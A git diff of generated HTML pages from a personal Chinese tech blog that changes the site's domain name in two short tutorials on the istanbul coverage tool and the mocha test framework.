doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用istanbul代码覆盖率工具"><meta property="og:description" content="代码覆盖率：是否所有代码都被执行或者调用
 每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用
 istanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）
 安装
@@ -19,7 +19,7 @@
 检查程序覆盖率是否达到某个值
 istanbul check-coverage &ndash;statement 60 &ndash;branch -5 &ndash;function 100
 在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹
-在coverage/lcov-report/index.html，可以查看网页版结果"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/113/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-30T12:22:00+00:00"><meta property="article:modified_time" content="2021-09-30T12:22:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用istanbul代码覆盖率工具"><meta name=twitter:description content="代码覆盖率：是否所有代码都被执行或者调用
+在coverage/lcov-report/index.html，可以查看网页版结果"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/113/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-30T12:22:00+00:00"><meta property="article:modified_time" content="2021-09-30T12:22:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用istanbul代码覆盖率工具"><meta name=twitter:description content="代码覆盖率：是否所有代码都被执行或者调用
 每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用
 istanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）
 安装
@@ -29,8 +29,8 @@
 检查程序覆盖率是否达到某个值
 istanbul check-coverage &ndash;statement 60 &ndash;branch -5 &ndash;function 100
 在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹
-在coverage/lcov-report/index.html，可以查看网页版结果"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用istanbul代码覆盖率工具","item":"https://xiaochenabc123.github.io/posts/113/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用istanbul代码覆盖率工具","name":"简单使用istanbul代码覆盖率工具","description":"代码覆盖率：是否所有代码都被执行或者调用\n每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用\nistanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）\n安装\nnpm install -g istanbul\n测试覆盖率\nistanbul cover demo.js\n检查程序覆盖率是否达到某个值\nistanbul check-coverage \u0026ndash;statement 60 \u0026ndash;branch -5 \u0026ndash;function 100\n在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹\n在coverage/lcov-report/index.html，可以查看网页版结果","keywords":["istanbul"],"articleBody":"代码覆盖率：是否所有代码都被执行或者调用\n每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用\nistanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）\n安装\nnpm install -g istanbul\n测试覆盖率\nistanbul cover demo.js\n检查程序覆盖率是否达到某个值\nistanbul check-coverage –statement 60 –branch -5 –function 100\n在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹\n在coverage/lcov-report/index.html，可以查看网页版结果\n","wordCount":"23","inLanguage":"en","datePublished":"2021-09-30T12:22:00Z","dateModified":"2021-09-30T12:22:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/113/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用istanbul代码覆盖率工具</h1><div class=post-meta><span title='2021-09-30 12:22:00 +0000 UTC'>2021-09-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8istanbul%e4%bb%a3%e7%a0%81%e8%a6%86%e7%9b%96%e7%8e%87%e5%b7%a5%e5%85%b7.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>代码覆盖率：是否所有代码都被执行或者调用</p><p>每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用</p><p>istanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）</p><p>安装</p><p>npm install -g istanbul</p><p>测试覆盖率</p><p>istanbul cover demo.js</p><p>检查程序覆盖率是否达到某个值</p><p>istanbul check-coverage &ndash;statement 60 &ndash;branch -5 &ndash;function 100</p><hr><p>在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹</p><p>在coverage/lcov-report/index.html，可以查看网页版结果</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/istanbul/>istanbul</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/114/><span class=title>« Prev</span><br><span>简单使用mocha测试框架</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/112/><span class=title>Next »</span><br><span>简单使用Lerna多包管理工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+在coverage/lcov-report/index.html，可以查看网页版结果"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用istanbul代码覆盖率工具","item":"https://chenjunlinabc.github.io/posts/113/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用istanbul代码覆盖率工具","name":"简单使用istanbul代码覆盖率工具","description":"代码覆盖率：是否所有代码都被执行或者调用\n每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用\nistanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）\n安装\nnpm install -g istanbul\n测试覆盖率\nistanbul cover demo.js\n检查程序覆盖率是否达到某个值\nistanbul check-coverage \u0026ndash;statement 60 \u0026ndash;branch -5 \u0026ndash;function 100\n在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹\n在coverage/lcov-report/index.html，可以查看网页版结果","keywords":["istanbul"],"articleBody":"代码覆盖率：是否所有代码都被执行或者调用\n每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用\nistanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）\n安装\nnpm install -g istanbul\n测试覆盖率\nistanbul cover demo.js\n检查程序覆盖率是否达到某个值\nistanbul check-coverage –statement 60 –branch -5 –function 100\n在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹\n在coverage/lcov-report/index.html，可以查看网页版结果\n","wordCount":"23","inLanguage":"en","datePublished":"2021-09-30T12:22:00Z","dateModified":"2021-09-30T12:22:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/113/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用istanbul代码覆盖率工具</h1><div class=post-meta><span title='2021-09-30 12:22:00 +0000 UTC'>2021-09-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8istanbul%e4%bb%a3%e7%a0%81%e8%a6%86%e7%9b%96%e7%8e%87%e5%b7%a5%e5%85%b7.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>代码覆盖率：是否所有代码都被执行或者调用</p><p>每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用</p><p>istanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）</p><p>安装</p><p>npm install -g istanbul</p><p>测试覆盖率</p><p>istanbul cover demo.js</p><p>检查程序覆盖率是否达到某个值</p><p>istanbul check-coverage &ndash;statement 60 &ndash;branch -5 &ndash;function 100</p><hr><p>在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹</p><p>在coverage/lcov-report/index.html，可以查看网页版结果</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/istanbul/>istanbul</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/114/><span class=title>« Prev</span><br><span>简单使用mocha测试框架</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/112/><span class=title>Next »</span><br><span>简单使用Lerna多包管理工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/114/index.html b/posts/114/index.html
index 80e1a7fe..3f259dcf 100644
--- a/posts/114/index.html
+++ b/posts/114/index.html
@@ -3,8 +3,8 @@
 npm install &ndash;global mocha
 测试，例如：
 demo.js
-function abc(a,b,c){
return a+b+c
}
module.exports = abc
demo.test.js
-const demo = require('./demo.js')
const expect = require('chai').expect
describe('test', function() {
it('错误', function() {
expect(demo(1,3,7)).to.be.equal(11)
})
})
测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
+function abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js
+const demo = require('./demo.js') const expect = require('chai').expect describe('test', function() { it('错误', function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
 mocha demo.test.js
 其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误
 因为mocha本身没有断言库，需要导入 const expect = require(&lsquo;chai&rsquo;).expect
@@ -21,14 +21,14 @@
 &ndash;invert ：只执行不符合条件的测试脚本，要搭配&ndash;grep使用
 如果要测试ES6，需要转码
 npm install babel-core babel-preset-es2015 &ndash;save-dev
-.babelrc"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/114/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用mocha测试框架"><meta property="og:description" content="mocha是JavaScript测试框架
+.babelrc"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/114/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用mocha测试框架"><meta property="og:description" content="mocha是JavaScript测试框架
 安装
 npm install &ndash;global mocha
 测试，例如：
 demo.js
-function abc(a,b,c){
return a+b+c
}
module.exports = abc
demo.test.js
-const demo = require('./demo.js')
const expect = require('chai').expect
describe('test', function() {
it('错误', function() {
expect(demo(1,3,7)).to.be.equal(11)
})
})
测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
+function abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js
+const demo = require('./demo.js') const expect = require('chai').expect describe('test', function() { it('错误', function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
 mocha demo.test.js
 其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误
 因为mocha本身没有断言库，需要导入 const expect = require(&lsquo;chai&rsquo;).expect
@@ -45,13 +45,13 @@
 &ndash;invert ：只执行不符合条件的测试脚本，要搭配&ndash;grep使用
 如果要测试ES6，需要转码
 npm install babel-core babel-preset-es2015 &ndash;save-dev
-.babelrc"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/114/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-10-03T12:55:00+00:00"><meta property="article:modified_time" content="2021-10-03T12:55:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用mocha测试框架"><meta name=twitter:description content="mocha是JavaScript测试框架
+.babelrc"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/114/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-10-03T12:55:00+00:00"><meta property="article:modified_time" content="2021-10-03T12:55:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用mocha测试框架"><meta name=twitter:description content="mocha是JavaScript测试框架
 安装
 npm install &ndash;global mocha
 测试，例如：
 demo.js
-function abc(a,b,c){
return a+b+c
}
module.exports = abc
demo.test.js
-const demo = require('./demo.js')
const expect = require('chai').expect
describe('test', function() {
it('错误', function() {
expect(demo(1,3,7)).to.be.equal(11)
})
})
测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
+function abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js
+const demo = require('./demo.js') const expect = require('chai').expect describe('test', function() { it('错误', function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
 mocha demo.test.js
 其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误
 因为mocha本身没有断言库，需要导入 const expect = require(&lsquo;chai&rsquo;).expect
@@ -68,22 +68,22 @@
 &ndash;invert ：只执行不符合条件的测试脚本，要搭配&ndash;grep使用
 如果要测试ES6，需要转码
 npm install babel-core babel-preset-es2015 &ndash;save-dev
-.babelrc"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用mocha测试框架","item":"https://xiaochenabc123.github.io/posts/114/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用mocha测试框架","name":"简单使用mocha测试框架","description":"mocha是JavaScript测试框架\n安装\nnpm install \u0026ndash;global mocha\n测试，例如：\ndemo.js\nfunction abc(a,b,c){\rreturn a+b+c\r}\rmodule.exports = abc\rdemo.test.js\nconst demo = require('./demo.js')\rconst expect = require('chai').expect\rdescribe('test', function() {\rit('错误', function() {\rexpect(demo(1,3,7)).to.be.equal(11)\r})\r})\r测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）\nmocha demo.test.js\n其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误\n因为mocha本身没有断言库，需要导入 const expect = require(\u0026lsquo;chai\u0026rsquo;).expect\n查看内置的全部报告格式（默认是spec）\nmocha \u0026ndash;reporters\n使用Dot格式显示\nmocha \u0026ndash;reporter dot\n使用HTML报告\nnpm install \u0026ndash;save-dev mochawesome\nmocha其他参数\n\u0026ndash;watch：监听指定测试脚本，只要测试脚本发生改变就自动执行mocha\n搜索测试实例（通过名称）\nmocha \u0026ndash;grep \u0026ldquo;test\u0026rdquo;\n\u0026ndash;invert ：只执行不符合条件的测试脚本，要搭配\u0026ndash;grep使用\n如果要测试ES6，需要转码\nnpm install babel-core babel-preset-es2015 \u0026ndash;save-dev\n.babelrc","keywords":["mocha"],"articleBody":"mocha是JavaScript测试框架\n安装\nnpm install –global mocha\n测试，例如：\ndemo.js\nfunction abc(a,b,c){\rreturn a+b+c\r}\rmodule.exports = abc\rdemo.test.js\nconst demo = require('./demo.js')\rconst expect = require('chai').expect\rdescribe('test', function() {\rit('错误', function() {\rexpect(demo(1,3,7)).to.be.equal(11)\r})\r})\r测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）\nmocha demo.test.js\n其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误\n因为mocha本身没有断言库，需要导入 const expect = require(‘chai’).expect\n查看内置的全部报告格式（默认是spec）\nmocha –reporters\n使用Dot格式显示\nmocha –reporter dot\n使用HTML报告\nnpm install –save-dev mochawesome\nmocha其他参数\n–watch：监听指定测试脚本，只要测试脚本发生改变就自动执行mocha\n搜索测试实例（通过名称）\nmocha –grep “test”\n–invert ：只执行不符合条件的测试脚本，要搭配–grep使用\n如果要测试ES6，需要转码\nnpm install babel-core babel-preset-es2015 –save-dev\n.babelrc\n{\r\"presets\": [ \"es2015\" ]\r}\rmocha –compilers js:babel-core/register\n注意：mocha默认每个测试实例只能最多执行2000毫秒，如果在这个时间里没处理完毕将报错\n需要指定超时时间（-t或–timeout参数），例如：\nmocha -t 6000 demo.test.js\n也可以设置-s或-slow参数来指定超过一定时间的部分高亮显示\nmocha -t 6000 -s 3000 demo.test.js\n生成指定格式的测试文件\nmocha –recursive -R markdown \u003e demo.md\nmocha –recursive -R doc \u003e demo.html\n","wordCount":"105","inLanguage":"en","datePublished":"2021-10-03T12:55:00Z","dateModified":"2021-10-03T12:55:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/114/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body 